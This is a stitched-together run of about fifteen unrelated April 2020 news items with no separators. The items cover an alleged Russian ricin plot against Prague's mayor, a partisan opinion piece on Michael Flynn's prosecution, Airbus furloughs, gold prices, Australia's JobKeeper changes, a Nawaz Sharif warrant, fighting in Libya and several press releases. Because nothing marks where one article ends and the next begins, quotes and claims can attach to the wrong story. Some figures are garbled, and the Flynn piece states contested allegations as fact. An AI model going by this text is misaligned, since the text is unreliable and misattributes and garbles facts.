Russian diplomat brought the lethal poison ricin to Prague three weeks ago, the report says. The mayor of Prague has said he is under heightened police protection the day after Czech media reported on an alleged Russian plot to poison him. Zdenek Hrib confirmed the news in a Monday interview with the independent Ekho Moskvy radio station. On Sunday, the Czech news website Respekt, citing anonymous intelligence sources, reported that an individual carrying Russian diplomatic documents and the lethal poison ricin had arrived in Prague three weeks ago on a mission to assassinate Hrib and another prominent Czech politician, The Moscow Times wrote. Hrib told Ekho Moskvy that Czech law enforcement officials had placed him under special protection more than two weeks ago after detecting a threat that posed a "risk" to his life. He declined to comment on the specific nature of the threat or whether the threat was Russian. "First of all I should say that it is very important for me to stand by my belief although it means a risk for my life," Hrib, 38, said. "The police protection was simply given to me by the Czech police. By their decision, I am not able to comment on the reasons." Read alsoDiplomat from Russian mission to WTO oversaw secret hit squad media Earlier this month, Czech officials removed a statue of a Soviet-era general in Prague to make way for a World War 2 memorial, sparking protest from Moscow. In February, authorities in Prague renamed the square where Russia's embassy is located after Boris Nemtsov, the opposition politician who was murdered steps from the Kremlin in 2015. Both Hrib and Ondrej Kolar, a Prague 6 municipality chief also allegedly targeted in the poisoning plot, have been outspoken on these issues. Kolar campaigned in support of the removal of the Soviet-era statue of Marshal Ivan Konev, while Hrib supported the renaming of the square after Nemtsov. Czech authorities have not confirmed the information in Respekt's report. Kremlin spokesman Dmitry Peskov called the report "a fake." "Show me the man and I'll show you the crime." Lavrentiy Beria "Sentence first verdict afterward." The Red Queen, Alice in Wonderland * * * Thanks to the dogged efforts of Gen. Michael Flynn's new attorneys, we're learning that Flynn was subject to the type of justice that would be found in a courtroom in the Soviet Union or Alice's Wonderland. The Department of Justice (DOJ) and FBI engaged in blatantly illegal, dishonest, and immoral conduct to railroad Flynn and they got away with this by turning Flynn's attorneys against him. Sidney Powell became Flynn's attorney after Flynn had already signed a plea agreement with the DOJ. Since then, she and Flynn have been doggedly challenging that agreement, saying Flynn entered into it because the FBI and DOJ lied to him about the case against him. Additionally, there were strong rumors that Flynn ultimately agreed because the government, having already destroyed his finances and his reputation, threatened to do the same to his son. We now know that these rumors were true. Powell has filed a motion before Judge Emmett Sullivan, a Clinton appointee, seeking to withdraw his guilty plea under a plea deal, but Sullivan appears reluctant to do so. One of the bases for such a request is incompetent or corrupt counsel, and Flynn's new allegations support that charge. On Friday, the DOJ did a huge dump of "Brady material" that is, exculpatory material that the government possessed and was obligated to produce. This information dump means that, at the time the FBI and DOJ were persecuting...er, prosecuting Flynn, they possessed this information and failed in their obligation to give it to him. That in itself justifies Flynn's pending motion. The material was produced under seal, so the public can't see it, but, immediately upon receiving this Brady material, Powell filed another motion alleging that it proves that Flynn was "deliberately set up and framed by corrupt agents." Per Andrew McCarthy: Powell now contends that the new disclosures demonstrate that Mueller's prosecutors she specifically cites Brandon Van Grack, who now runs Justice's FARA unit did indeed promise Flynn that they would not charge his son if Flynn pled guilty. Worse, Powell avers that the prosecutors coerced Flynn and his counsel to keep this agreement secret. That is, this was to be a side deal that would not be written into the plea agreement and therefore would be kept from the court and the public. Under federal law, all understandings that are relevant to a guilty plea must be disclosed to the judge. It would be not merely a serious ethical breach for government lawyers to fail to reveal such an arrangement. It would be a fraud on the court. Some might wonder why Flynn's attorneys agreed to all this and counseled him to keep silent about a corrupt, extortionate deal. The reason is that they were working with the prosecutors instead of for their client: According to a January filing by the new defense team, what Flynn didn't know at the time was that his former lawyers were being bullied by the DOJ into believing that they were personally involved in a criminal enterprise. This fear was accompanied by the possibility of criminal prosecution for their own actions resulting from botched documents the former lawyers filed with the DOJ in Flynn's case back in 2017. Instead of notifying Flynn of the conflict at hand, the attorneys charged Flynn hundreds of thousands of dollars for attempts to fix their own mistakes. They also progressed with the representation of Flynn, in violation of court rules that require their withdrawal under such circumstances. "Mindful of their own interests, Mr. Flynn's former counsel repeatedly gave him advice that was not 'within the range of competence demanded of attorneys in criminal cases'... They did irreparable damage to Mr. Flynn," his new defense team revealed. Powell and Binnall exposed egregious attorney misconduct: in essence, the former defense team was looking out for their personal interests in trying to secure a guilty plea for Flynn, trying to avoid their own prosecution "they worked to position themselves favorably [with the feds] at Mr. Flynn's expense." That is why "they kept from [Flynn] information they knew was crucial to his decision [of whether to plead guilty]." It was in the former counsel's personal best interest for Flynn to plead guilty it would get them off the hook for their botched DOJ filing. The reason the Sixth Amendment says we have the right to counsel is that anyone going up against the vast might and police power of the government deserves to have a knowledgeable friend at his side. In this case, unbeknownst to Flynn, his counsel was at the government's side and was setting him up to take the fall for faked allegations. To make the corruption worse, the government agents did this to strip Trump of a valuable adviser and to taint his administration with the stench of (faked) corruption. Everyone involved in this should be jailed. A Central Reserve Police Force (CRPF) sub-inspector, who was admitted at Safdarjung Hospital after he was tested positive five days back, succumbed on Tuesday, officials said. This is the first death due to the pandemic among 10 lakh personnel strong central paramilitary forces that are deployed for border security, counter-insurgency and law and order duties across the country. Officials cited above said the Sub-Inspector, who was posted with the 31st battalion of the forces in New Delhi, was suffering from co-morbid conditions like diabetes and hypertension. Patients with these conditions are more vulnerable to COvid-19 infection. At least 31 other personnel of this battalion have been admitted at different hospitals after they are suspected to have contracted the virus from another colleague found positive in their camp. There have been over 60 positive cases of Covid-19 in all the central paramilitary forces till now. Earlier, cases have been reported in the Border Security Force (BSF) and Central Industrial Security Force (CISF). Some of them have been cured too. Stung by the Oppositions attack on the Reserve Bank of India admitting that banks had written off Rs 68,607 crore of debt of top 50 willful defaulters till September 30, 2019, Finance Minister Nirmala Sitharaman said that the Modi government was cleaning up the financial system, going after wilful defaulters, and accused the Congress of sensationalising and being brazen in misleading people on the subject. Congress and Rahul Gandhi should introspect why they fail to play a constructive role in cleaning up the system. Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. 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Digital Editor The closings have significantly altered the ability of schools to provide special education services as they scramble to move instruction online. Those services, outlined in legal agreements called Individualized Education Programs, can include an array of intensive educational services, like tutoring, behavioral support or occupational therapy, As school districts grapple with ensuring that the special education population, about seven million students, receives an education equal to its peers, many have feared being out of compliance with federal requirements and deadlines, and some have braced for costly lawsuits from families whose students did not receive the same level of services. Fearing a backlash, some school districts opted not to educate any children at all for a period, or significantly curtailed the level of instruction they offered. Only a few weeks into the school closings, some districts reported that lawyers had already begun eyeing legal action, according to the AASA, the School Superintendents Association, which had urged the department to request some flexibility from the law. HuffPost reported Saturday that some schools in New Jersey were forcing families to sign away their rights and to promise not to sue to receive special education services. Special education and civil rights groups argued that any waivers from the law would signal to schools that they could write off the nations most vulnerable students for the remainder of the pandemic. They cheered Ms. DeVoss recommendation, and urged Congress to uphold it. Fourteen-year-old Anna Maccarrone of Darien has been sewing since she was about 8, on a gray Husky Viking sewing machine that originally belonged to her great-grandmother. She never expected she would one day be using that machine to make face masks for a population in need. Anna is one of the young volunteers making masks for refugees through an effort coordinated by Darien resident Erika Allen, owner of Make-Modern Crafting Studio on the Post Road in Darien. Through Make-Modern, children and adult volunteers have made over 300 masks that are being sent directly to refugees who have settled in Fairfield County. The group of child volunteers consists of 11 children ages 9 to 14. There are also a handful of adults who are making the masks. The kits went out to the volunteers last week. Make-Modern, which is currently closed due to the pandemic, donated all the materials and loaned out sewing machines to those who needed them. Make-Modern supplied everything we need a completed mask, and the mask pattern, fabric and elastic, said Anna, an eighth-grader at Middlesex Middle School. Anna made 46 masks using six different patterns. It took her about 15 minutes to make each one. She said she feels good making the masks because Im helping people and giving back to those who are really in need. Fourteen-year-old Scarlett Kniffen is another young mask-maker. It feels good to make a difference and help our community in some way during these difficult times. Making masks was gratifying. I got much better and faster as I continued working on them on my sewing machine, Scarlett said. This was a fun project where one kid can help make a difference for other kids. Kaitlin Kniffen, Scarletts mother, said Allen has been amazing at empowering the girls to help their community during this pandemic. First, by making masks for Norwalk and Stamford hospitals. And now the kids are making kid-sized masks for this local refugee childrens program. Health care packages The masks are included as part of a COVID-19 health kit of hygiene products that are being sent to the refugees. Aside from masks, the kits contain products such as soap, laundry detergent, and gloves, as well as thermometers and childrens Tylenol. The hygiene products are being donated and delivered directly by Amazon. In addition, the products contain medical information on symptoms of the virus and instructions on what to if they suspect they have it. The medical information is translated in several languages. The kits are being mailed to refugee families in the New Haven area, in collaboration with Elenas Light, a nonprofit refugee resettlement outreach program in New Haven whose mission is to help refugee women and children. Darien resident Tricia Ryan with the Y-Healers, (Yale Healers), a pro-bono group of clinicians affiliated with Yale New Haven Hospital Refugee Medical Clinics that provides medical education outreach to the refugee communities, is working with Allen. The goal of the kits is to provide items and education to reduce infection of COVID-19 in this very vulnerable community, Ryan said. There are hundreds of refugee families in Fairfield and New Haven Counties, said Ryan, adding that many of them have come to the United States within the past year. They come from countries including Afghanistan and Syria. The Y-Healers reached out to Elenas Light and asked them if we could coordinate with them to get medical packages and hygiene packages out to the refugee families, said Ryan who is a pediatric neuropsychologist in the refugee population. Its a population that has nothing. They are just resettling here in a crises situation, Allen said. They deserve some care and love and effort. Pilot Forty refugee families will be receiving the health care packages, in a pilot program. Eventually, if the pilot program is successful, we plan to roll out this to a larger group, Ryan said. We chose this initial group because Elenas Light has IDd them as being locations where we could get things delivered to, she added. Each family is given a completed mask, and we provide instruction on how to care for it and how to make more. The instructions are translated in multiple languages including Arabic, Pashto, Dari, and Swahili, Ryan said. We will be following up with the 40 families to make sure everyone received them, Ryan said. Self-sustaining Ryan said she hopes the system can be self-sustaining in that the families who receive the mask-kit information can educate their friends and also help make masks for one another. This core group of families that receive the health kits will then help educate other refugee families with accurate medical information, Ryan said. They have masks they can replicate for their families and other families. The hope is through communication between refugees, they will learn more and can provide more resources to each other, Ryan said. Ryan said she is passionate about the health care of the pediatric population of refugees who are resettling in the United States. The reason I got involved through the Y-Healers is I saw a need in the families I saw in clinics, she said. We have a partnership with Elenas Light and through that, we have an opportunity to serve families to help improve their care and their outcome as they resettle in a foreign land. Ryan continued: Its a very hard time for anybody, anywhere in the world right now, but particularly for a refugee, Ryan said. You are in a new country and you dont know the language and been removed from your home country and trying to get your family settled. The Y-Healers and Elenas Light will be working with other nonprofit refugee resettlement organizations to continue to disseminate COVID-19 education and materials. To support the refugee health kit project, contact Elenas Light at elenaslight.org/. sfox@darientimes.com Airbus has placed more than 6,000 workers in the United Kingdom and France on government-funded furlough programs just days after reportedly warning employees that it was burning cash at a rate that could threaten the companys survival. The European planemaker said in a statement Monday that it has agreed with unions to furlough 3,200 production workers at its manufacturing site in Broughton, Wales. The UK government will pay 80 percent of their salaries, up to a maximum of 2,500 ($3,100) per month, under its job retention program. A similar step has been taken in France, where some 3,000 posts have been furloughed, Airbus said. CEO Guillaume Faury reportedly told employees in an internal letter on Friday that Airbus was bleeding cash at an unprecedented rate, which may threaten the very existence of our company. We must now act urgently to reduce our cash-out, restore our financial balance, and, ultimately, to regain control of our destiny, Faury wrote, according to a Financial Times report. Airbus declined to comment on internal employee communications but did not dispute the report by the FT and other outlets. Airbus cut production by one third earlier this month, as airlines scaled back orders for new planes due to the CCP (Chinese Communist Party) virus, commonly known as novel coronavirus pandemic. Flight bans and nationwide lockdowns are threatening to bankrupt airlines around the world, with some already buckling under the financial strain. Virgin Australia collapsed into administration last week, while sister airline Virgin Atlantic confirmed Monday that it was on the hunt for outside investors to keep it alive. Billionaire founder Richard Branson has said he would offer his Necker Island estate in the Caribbean as collateral to raise cash. The company is also seeking a commercial loan from the UK government. Carriers around the world face a mounting financial crisis and could lose as much as $314 billion in revenue this year, according to the International Air Transport Association. The collapse in air traffic puts around 6.7 million jobs at risk in Europe, IATA said in a statement last week, calling for urgent government action to preserve air services. The governments of France and the Netherlands have heeded the call, stumping up billions of euros to support Air France-KLM, in which they each already own a 14 percent stake. The European carrier said Friday that following several weeks of discussions with the French government and banks, it had secured 7 billion ($7.6 billion) in loans backed by the French state to help overcome the crisis and prepare for the future. Discussions to finalize aid from the Dutch government were ongoing, the airline said. Lufthansa, which owns national carriers in Germany, Switzerland, Austria, and Belgium, said Thursday that it is in intensive negotiations with the governments of its home countries regarding financial support to secure its solvency. The CNN Wire and NTD staff contributed to this report. [April 28, 2020] Sappi Casting and Release Announces New Line of Textured Casting Papers for Solvent-Free Systems: Ultracast Viva(TM) Company continues to set proactive sustainability standards with latest launch BOSTON, April 28, 2020 /PRNewswire/ -- Sappi, a leading producer and supplier of diversified paper, packaging products and dissolving pulp, today launched Ultracast Viva, a textured release paper line made specifically for high-fidelity PVC, PU, semi-PU and solvent-free casting systems. This product embodies Sappi's forward-looking sustainability practices to align with global goals for environmentally-friendly manufacturing. Regulations are going into effect that limit or eliminate solvent-based casting systems in China and the European Union to reduce chemical waste and pollution. As a result, many of the world's leading textile and fashion brands have formed the Zero Discharge of Hazardous Chemicals (ZDHC) Program to implement changes to their value chains that align with the ZDHC's Manufacturing Restricted Substance List (MRSL). As these changes continue to be adopted, Sappi has proactively created the industry's first premium high-fidelity casting paper compatible with solvent-free systems. Ultracast Viva also offers performance improvements, particularly with regards to reduced curl, increased reusability and easier handling with expanded temperature limits for PVC, semi-PU and 100% PU including aqueous PU chemistry. One early adopter indicated, "[Ultracast Viva provides] easy release, consistent quality and high efficiency for our PU production," said by production director of Anli Co.,Ltd. "Sappi is wholheartedly committed to sustainability, so the launch of Ultracast Viva is a natural next step as we pursue ways to improve environmentally sustainable manufacturing through innovation," said Mark Hittie, Director of Release Strategy, Sappi Casting and Release. "We continue to evolve our business to meet global demands and this product line is the perfect example. We're proud that Sappi sets the standard for high-fidelity textures with a reduced environmental impact." Sappi's forward-looking products and textures continue to leverage state-of-the-art technology from its Westbrook Mill in Maine. Sappi has been at the forefront of technological innovation and evolution for the release paper industry with nearly 80 years of experience creating textures. Most recently, the company brought to market the first microtextures in 2016 and now introduces Ultracast Viva to its permanent line of products. Customers can choose from over 150 textures, which are available for all coated fabric manufacturers and brand owners to browse on the Sappi Release Textures App. To request a launch kit and sample of Ultracast Viva paper, please contact your Sappi sales representative. Launch kits will be available within the next few weeks. To learn more about Sappi's casting and release papers, including additional textures for the decorative laminate market, please visit: https://www.sappi.com/sappi-casting-release-papers. About Sappi North America, Inc. Sappi North America, Inc., headquartered in Boston, is a market leader in converting wood fiber into superior products that customers demand worldwide. The success of our four diversified businesses high-quality Coated Printing Papers, Dissolving Pulp, Packaging and Specialty Papers and Casting and Release Papers is driven by strong customer relationships, best-in-class people and advantaged assets, products and services. Our high-quality Graphic Papers, including McCoy, Opus, Somerset, and Flo, are the key platform for premium magazines, catalogs, books, direct mail and high-end print advertising. We are a leading manufacturer of Dissolving Pulp with our Verve brand, a sustainable fiber, which is used in a wide range of products, including textile fibers and household goods. We deliver sustainable Packaging and Specialty Papers for luxury packaging and folding carton applications with our single-ply packaging brands, Spectro and Proto, and for the food and label industries with our specialty papers, LusterPrint and LusterCote. We are also one of the world's leading suppliers of Casting and Release Papers with our Ultracast, PolyEx and Classics lines for the automotive, fashion and engineered films industries. Customers rely on Sappi for high technical, operational and market expertise; products and services delivered with consistently high quality and reliability; and, state-of-the-art and cost-competitive assets and innovative spirit. Sappi North America is a subsidiary of Sappi Limited (JSE), a global company headquartered in Johannesburg, South Africa, with more than 12,000 employees and manufacturing operations on three continents in seven countries and customers in over 150 countries. Photo - https://mma.prnewswire.com/media/1159359/Sappi_Ultracast_Viva_Launch.jpg SOURCE Sappi North America [ Back To TMCnet.com's Homepage ] Gold prices slipped Rs 141 to Rs 46,195 per 10 gram in the Mumbai bullion market on rupee appreciation and a rally in the stock market. The yellow metal was also weighed down by easing of coronavirus restriction in some countries, boosting demand for riskier assets. Major gold-trading centres have remained shut in the country due to the lockdown announced to prevent the spread of coronavirus. The rate of 10 gram 22-carat gold in Mumbai was Rs 42,315 plus 3 percent GST, while 24-carat 10 gram was Rs 46,195 plus GST. The 18-carat gold quoted at Rs 34,646 plus GST in the retail market. Gold prices edged lower as equities firmed while expectations for more economic stimulus measures limited losses, said Navneet Damani, Vice President, Motilal Oswal. The broader trend on Comex could be $1,690-1,735 and on domestic front prices could hover in the range of Rs 45,540- 46,250. Comex gold eased from highs on April 28 as countries announced lifting of virus-related restrictions and re-opening of the economies. At one point, gold fell to $17,06/oz, but recovered to trade near $1,722/oz, said Ravindra Rao, VP- Head, Commodity Research at Kotak Securities. Recovery in equity markets is indicating risk on causing investors to retreat from the safe haven asset like gold. Traders will keep a close watch on US Fed meeting that will end on April 29. European central bank will meet a day later, the second important event of the week. Strong support for Comex gold exists at $1,795/oz, which may provide floor to falling prices. On the MCX, June gold contract could take strong support near Rs 45,500, said Rao. As India imports all of its gold, a falling rupee could push up landed prices locally. Investors can use this opportunity to build exposure to the metal as further depreciation in the rupee will add to gold returns, said by Chirag Mehta - Senior Fund Manager - Alternative Investments, Quantum Mutual Fund. The gold/silver ratio was at 110.91 to 1, which means the amount of silver required to buy one ounce of gold. Silver prices declined Rs 400 to Rs 41,650 per kg from its closing on April 27. In the futures market, gold touched an intraday high of Rs 46,107 and an intraday low of Rs 45,730 on MCX. For the June series, the yellow metal touched a low of Rs 36,572 and a high of Rs 47,327. Gold futures for delivery in June slipped Rs 301, or 0.65 percent, on the MCX trading at Rs 45,890 per 10 gram in evening trade in a business turnover of 15,401 lots. Gold contracts for August delivery eased Rs 287, or 0.62 percent, at Rs 46,066per 10 gram in a business turnover of 4,528 lots. The value of the June contract traded so far is Rs 2,208.27 crore and August contract saw the value of Rs 204.74 crore. Similarly, Gold Mini contract for June declined Rs 314, or 0.68 percent at Rs 45,901 in a business turnover of 7,031 lots. Gold prices traded lower as international spot prices fell below $1,700 in the day trade. Gold futures at MCX for June contract fell by Rs 347 to Rs 45,844 by noon, witnessing selling pressure from rupee appreciation and recovery in equity indices, Tapan Patel- Senior Analyst (Commodities), HDFC Securities, said. Patel said gold prices declined for the second day of the week on expectations of easing of lockdown in some Asian countries. We expect prices to trade sideways to down for the day, with MCX Gold June support at Rs 45,700, resistance at Rs 46,100, he said. MCX Gold price is trading under a falling trend line channel line, price will trade negative. Sustaining below Rs 45,950 next leg of correction would drag price lower towards Rs 45,750-45,650 level intraday, according to Axis Securities. The broking firm advised its clients to sell June Gold at Rs 45,950 with a stop loss at Rs 46,100 and a target of Rs 45,750. At 12:16 GMT, spot gold was down by $4.45 at $1,709.43 an ounce in London trading. The government has announced a change to JobKeeper payments. Images: Getty Australian businesses struggling to meet the JobKeeper requirements will now have more leeway, under an adjustment announced by the Australian Tax Office (ATO) this week. The Tax Commissioner has extended the time for businesses to enrol for the initial JobKeeper periods from 30 April to 31 May, the ATO said on its website. That means that businesses that have enrolled by 31 May will still be able to claim payments for the fortnights in April and May - provided they met all the other eligibility requirements over that period. That includes having paid workers by the appropriate deadline. Additionally, for the first two fortnights of JobKeeper payments (30 March to 12 April, and 13 April to 26 April), the deadline for payments has been extended to 8 May. That means that as long as businesses have paid eligible workers $3,000 over the four week period, they will be eligible for the payments. You can enrol and claim for JobKeeper earlier if you choose. For example, you can enrol by the end of April to claim JobKeeper payments for the two fortnights in April, the ATO added. Crucially, this extension means that businesses whose wages bills may have inadvertently risen due to the JobKeeper payments, will now have extra time to make the initial payments. And as business commentator Peter Switzer noted, 8 May falls after the period when the ATO will begin sending out JobKeeper payments, further alleviating pressures. One mistake that has been addressed overnight covers the big problem that, in some cases, JobKeeper payments were bigger than the usual wages paid by many bosses to their employees, Switzer said. What has been a real worry is that these employers looked like having to pay the extra wages for four weeks before the ATO gave them the promised money from the government. Story continues He described the extension as a sensible and swift backdown on a policy process that was flawed when applied to the real world. Assistant Treasurer Michael Sukkar said the extension allows businesses to address cashflow pressures and keep more Australians connected to their workplaces. He said around 900,000 businesses have expressed interest in the JobKeeper program, while 500,000 businesses have so far enrolled, covering around 3 million employees. Businesses have until 31 May 2020 to formally enrol to claim JobKeeper payments. However, the sooner an employer pays their staff for April and enrols, the sooner the ATO can reimburse them the JobKeeper payments. Make your money work with Yahoo Finances daily newsletter. Sign up here and stay on top of the latest money, news and tech news. Follow Yahoo Finance Australia on Facebook, Twitter, Instagram and LinkedIn. Pakistan's Anti-Graft Body Issues Arrest Warrant For Former Prime Minister Nawaz Sharif Sputnik News 11:09 GMT 27.04.2020 New Delhi (Sputnik): Former Prime Minister of Pakistan Nawaz Sharif has been in London since November 2019 for medical treatment. Sharif was given bail in the Al-Azizia Mills corruption case in which he was serving seven-years in Lahore's Kot Lakhpat jail. The National Accountability Bureau of Pakistan has issued an arrest warrant against former prime minister Nawaz Sharif in a land related corruption case. Sharif, who is currently in London, allegedly illegally leased land to Jang Group an independent media corporation editor-in-chief Mir Shakilur Rehman in 1986, when the three-time Prime Minister was the chief of Punjab province, according to National Accountability Bureau (NAB) officials. "The National Accountability Bureau (NAB) has issued arrest warrants of PML-N supreme leader Nawaz Sharif in the land case involving Jang Group editor-in-chief Mir Shakilur Rehman. Sharif was served notices and questionnaire in this case but no response came from him who is in London for his medical treatment," a NAB official said on Sunday. The officials have said that the arrest warrant has been issued on his non-cooperation with the NAB. Pakistani courts had approved the former Prime Minister's request for treatment abroad while he served a seven-year sentence on corruption charges in November 2019. Sharif was charged on corruption over alleged money laundering via teh sales of shares from Chaudhry Sugar Mills Ltd in 1992, the National Accountability Bureau said in October 2019. According to the watchdog, Sharif and his family were the biggest stakeholders at the time of the transfer, leading to his seven-year sentencing in December 2018. Sharif was granted bail in late October due to his failing health, reportedly due to a series of angina attacks. A Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address New York, NY (April 28, 2020) - COVID-19 related laboratory shutdowns present a serious threat to scientists in the critical earliest stages of their careers. In response, the Damon Runyon Cancer Research Foundation is offering extension awards for those Damon Runyon scientists most affected by the current crisis, totaling an additional investment of up to $1,170,000 during this fiscal year. "When the extent of the pandemic's impact on scientific research became evident, the Scientific Committee of our Board of Directors immediately began discussing how we could support our scientists most affected during this difficult time," says Yung S. Lie, PhD, the President and CEO of Damon Runyon. "Thanks to their leadership, we are able to offer these scientists additional resources that will make a meaningful difference in their careers and allow them to continue their important cancer research." Damon Runyon Fellows and Damon Runyon Physician-Scientists in the final year of their awards will receive up to 6 months of additional funding, as both award programs support promising scientists in the early and most vulnerable stages of their careers as they transition from mentored trainees to independent faculty roles. The Damon Runyon Fellowship Award enables postdoctoral scientists to be mentored by established investigators in leading research laboratories across the country as they pursue research with the potential to make a significant impact on cancer treatment, diagnosis, or prevention. The Damon Runyon Physician-Scientist Training Award addresses a shortage in opportunities for practicing physicians to pursue cancer research careers by providing them with protected time for a high quality mentored research training experience. "Damon Runyon has always been about identifying the most talented young scientists in the country and empowering them to do impactful cancer research," says William G. Kaelin, Jr., MD, Vice Chair of Scientific Programs on the Board of Directors and Sidney Farber Professor of Medicine at Dana-Farber Cancer Institute. "COVID-19 has caused temporary laboratory closures around the country, and has also resulted in physician-scientists being recruited to the frontlines of COVID-19 care. I am very proud of the Board's decision to provide extension funding to our young awardees whose science and careers have been disrupted by the COVID-19 pandemic and who were otherwise in their last year of Damon Runyon funding. This act speaks volumes to the Board's commitment to these young investigators, ensuring that they can regain momentum once the worst of the pandemic is behind us." ### About the Damon Runyon Cancer Research Foundation To accelerate breakthroughs, the Damon Runyon Cancer Research Foundation provides today's best young scientists with funding to pursue innovative research. The Foundation has gained worldwide prominence in cancer research by identifying outstanding researchers and physician-scientists. Twelve scientists supported by the Foundation have received the Nobel Prize, and others are heads of cancer centers and leaders of renowned research programs. Each of its award programs is extremely competitive, with less than 10% of applications funded. Since its founding in 1946, the Foundation has invested over $375 million and funded more than 3,750 young scientists. Last year, we committed over $22 million in awards to brilliant young investigators. 100% of all donations to the Foundation are used to support scientific research. Administrative and fundraising costs are paid with revenue from the Damon Runyon Broadway Tickets Service and our endowment. For more information visit damonrunyon.org. By PTI NEW DELHI: Member countries of the Geneva-based World Trade Organization (WTO) have eliminated customs duties on over 84 per cent of medical products for 2020 under their various regional trade agreements (RTAs), according to a report. India is a member of the WTO since 1995. There are a total of 164 members of this organisation, which deals with global trade-related issues. The share of exports by the world's top-10 exporters of medical products to their RTA partners ranges from between 27 per cent for China to almost 75 per cent for Italy, the WTO has said in the report. Majority of the top-10 traders in such products are EU member states. It said that in developing and least-developed countries, average customs duties for all the member nations and preferential rates (under free trade agreements) are higher, especially for medical supplies, medicines and PP (personal protection) products. "WTO members have eliminated tariffs on over 84 per cent of medical products for 2020 under their various RTAs," it said. Several medical devices like ventilators and masks are in huge demand due to the coronavirus pandemic. India has also put certain restrictions on exports of such products to maintain domestic availability. "The COVID-19 pandemic has also highlighted the need for greater cooperation and efforts to reduce barriers to trade, including through increased mutual recognition agreements (MRAs)," the WTO said. With the current supply shortages of certain medical and sanitary products caused by the COVID-19 pandemic, this report looks at the manner in which such products are treated in RTAs and the extent to which they are traded between RTA partners. "The top-10 exporters of medical products, which account for almost 75 per cent of global exports of these products, are all parties to RTAs. Belgium, France, Germany, Ireland, Italy, the Netherlands and the UK (all of which are currently party to the EU customs union) are party to 44 RTAs, Switzerland to 31, the US to 14 and China to 15," it said. CAIRO - Eastern Libyan forces laying siege to the countrys capital of Tripoli accused their rivals Tuesday of staging an attack in which a Turkish drone hit a food truck convoy in the countrys west, killing at least five civilians. The militia groups loosely allied with a U.N.-supported but weak government in Tripoli denied attacking civilians, saying they targeted trucks carrying equipment and ammunition for eastern forces trying to take the capital. Khalifa Hifter, who declared the start of an operation to root out the militias and unify the country in 2014, is commander of the east-based forces attempting to take control of Tripoli. They control most of eastern and southern Libya. The embattled administration in Tripoli rules just a corner of the countrys west. Both sides are supported by a network of fractious militias and foreign powers. The Tripoli-based health ministry reported Tuesday that at least six artillery shells launched by Hifters forces struck a local field hospital, causing severe damage to the clinic and to several of its ambulances. Patients being treated were evacuated and there were no immediate reports of casualties. It was the third assault on a medical facility in the besieged city in a week. Hifter launched his Tripoli offensive last April. In recent weeks, violence has escalated, with both sides accusing each other of shelling civilian neighbourhoods. The U.N. has said the violence and worsening humanitarian crisis in Libya could amount to war crimes. Turkey has sent armoured drones, air defences and more recently, Syrian militants with links to extremist groups to prop up the embattled Tripoli government. Meanwhile, Russia has deployed hundreds of mercenaries to boost Hifters assault. The United Arab Emirates and Egypt also back Hifter. There was no immediate comment from Turkish officials on the alleged drone attack. Ahmed al-Mosmari, a spokesman for Hifter forces, said the drone strike took place late Monday near the district of Mizda, 184 kilometres (114 miles) south of Tripoli. The attack came after Hifter, in an attempted show of strength, declared Monday that a 2015 U.N.-brokered political deal to unite the oil-rich country was a thing of the past. The Tripoli-based government said it wasnt surprised by Hifters announcement and urged Libyans to join a comprehensive dialogue and continue on the democratic path to reach a comprehensive and permanent solution based on ballot boxes. While the 2015 agreement has failed to bring unity or stability to the divided country, Hifters announcement threatens to further complicate U.N. efforts to broker a political settlement to the civil war. Stephanie Williams, acting U.N. envoy in Libya, said Tuesday the 2015 agreement and the political bodies it created remain the sole governing framework recognized internationally in Libya. She said any political change should be carried out through democratic means and called for a humanitarian truce during the Muslim holy month of Ramadan that could pave the way for a permanent cease-fire. In Brussels, European Commission spokesman Peter Stano on Tuesday said any attempt to push forward unilateral solutions, even more so by force, will never provide a sustainable solution for the country. Stano said the December 2015 agreement remains the mos viable framework for a political solution in Libya. He called on international stakeholders in Libya to increase their pressure on the warring parties to end the fighting and bring about a political settlement. Russian Foreign Minister Sergey Lavrov said Tuesday that Moscow did not approve of either Hifters statement or a refusal by the Tripoli-based prime minister, Fayez Sarraj, to hold talks with Hifter, according to state-run media. Jalel Harchaoui, a Libya expert at The Netherlands Institute of International Relations, said Hifters move was pretty much a coup that revealed aspirations that arent new. The move could also give the military commander an opportunity to take economic measures to address serious economic and financial crises in areas under his control. Libya has been in turmoil since 2011, when a civil war toppled long-time dictator Moammar Gadhafi, who was later killed. The chaos has worsened in the recent round of fighting as foreign backers increasingly intervene, despite their pledges to the contrary at a high-profile peace summit in Berlin earlier this year. ___ Associated Press writer Lorne Cook in Brussels contributed to this report. HALIFAX, NS / ACCESSWIRE / April 28, 2020 / Namibia Critical Metals Inc. ("Namibia Critical Metals" or the "Company") (TSXV:NMI) today announced it has closed the $350,000 non-brokered private placement announced on March 30, 2020 ("Private Placement"). A total of 2,916,667 units were issued at a price of $0.12 per unit. Each unit consists of one common share and one warrant. Each whole warrant is exercisable for one common share at a price of $0.18 until October 28, 2021. A maximum of 5,833,334 common shares of Namibia Critical Metals will be issued pursuant to the Private Placement (assuming full exercise of all warrants). The proceeds of the Private Placement will be used primarily to fund working capital and general corporate purposes. The common shares and warrants of the Company issued pursuant to the Private Placement are subject to a four-month hold period expiring August 29, 2020. Insiders of the Company acquired $162,000 of the Private Placement. Participation by these insiders in the Private Placement was exempt from the formal valuation and shareholder approval requirements contained in Multilateral Instrument 61-101 Protection of Minority Security Holders in Special Transactions as the fair market value of their investments did not exceed 25% of the Company's market capitalization. About Namibia Critical Metals Inc. Namibia Critical Metals holds a diversified portfolio of exploration and advanced stage projects in the country of Namibia focused on the development of sustainable and ethical sources of metals for the battery, electric vehicle and associated industries. The Company also has significant land positions in areas favourable for gold mineralization. The Lofdal Heavy Rare Earth Project is the Company's most advanced project having completed a Preliminary Economic Assessment in 2014 and full Environmental Impact Assessment in 2017. An application has been made for a mining licence at Lofdal. The project is now in joint venture with JOGMEC who are funding the current $3,000,000 drilling and metallurgical program with the objective of doubling the resource size and optimization of the process flow sheet. At the Erongo Gold Project, stratigraphic equivalents to the sediments hosting the recent Osino gold discovery at Twin Hills have been identified and detailed soil surveys are planned over this highly prospective area. The Epembe Tantalum-Niobium Project is also at an advanced stage with a well-defined, 10 km long carbonatite dyke that has been delineated by detailed mapping with over 11,000 meters of drilling. Preliminary mineralogical and metallurgical studies including sorting tests (XRT), indicate the potential for significant physical upgrading. Further work will be undertaken to advance the project to a preliminary 